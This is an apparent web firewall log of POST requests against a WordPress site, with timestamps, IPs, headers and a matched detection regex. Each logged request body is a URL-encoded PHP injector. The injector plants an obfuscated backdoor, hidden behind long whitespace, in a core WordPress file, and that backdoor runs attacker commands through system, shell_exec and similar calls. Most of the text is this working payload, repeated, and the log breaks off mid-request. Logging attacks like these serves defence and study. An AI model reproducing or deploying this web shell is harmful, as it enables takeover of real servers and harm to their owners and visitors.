nT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoyDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:5316\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\n\nnT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:38:42","74.91.224.220","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Te:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5316\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nTe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:39:24","50.6.224.46","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDybvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5316\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nBZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522